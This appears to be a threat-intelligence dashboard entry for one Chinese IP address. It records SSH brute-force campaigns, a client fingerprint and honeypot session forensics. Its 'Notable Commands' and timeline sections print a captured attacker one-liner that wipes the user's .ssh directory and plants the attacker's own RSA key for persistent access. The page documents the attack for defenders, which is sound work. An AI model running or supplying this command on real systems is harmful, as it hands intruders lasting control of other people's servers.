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Location
🇨🇳 CN / Shanghai
ASN
AS4811 · China Telecom Group
Cloud Provider
—
Total Events
40
Average by volume
Agent Count
1
First / Last Seen
2026-03-05 06:54 — 2026-05-27 23:06
Attack Types
MITRE ATT&CK Techniques
Initial Access
Defense Evasion
Discovery
Command and Control
External Corroboration
Blocklist.de
blocklist_de:reported
Campaigns
HASSH 03a80b21afa8… — SSH-2.0-libssh_0.11.1 (114 IPs, 18 countries)
HASSH
Active
high
🇨🇳 CN
114 IPs
42226 events
ssh:bruteforce
2026-02-27 — ongoing · 114 IPs are running an identical SSH client (HASSH fingerprint 03a80b21afa8…). Top network: Chinanet (AS4134). Geographic and ASN …
AS4811 China Telecom Group
ASN
Active
medium
🇨🇳 CN
36 IPs
2632 events
ssh:bruteforce
2026-02-16 — ongoing · 36 IPs from the same network (China Telecom Group, AS4811) were active during overlapping time periods. Temporal correlation …
Session Forensics
Sessions
5 (3 with login)
Avg Depth Score
0.57
Commands Executed
6
Files Downloaded
2
Notable Commands
- cd ~; chattr -ia .ssh; lockr -ia .ssh
- lockr -ia .ssh
- cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Fingerprints
HASSH
SSH Client
Evidence Timeline
Malware Dropper
16b6d0a47ff4
LOGIN
3
1
1
100%
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HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
87692c7d750b
LOGIN
1
50%
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HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Malware Dropper
9e663402f618
LOGIN
3
1
1
100%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…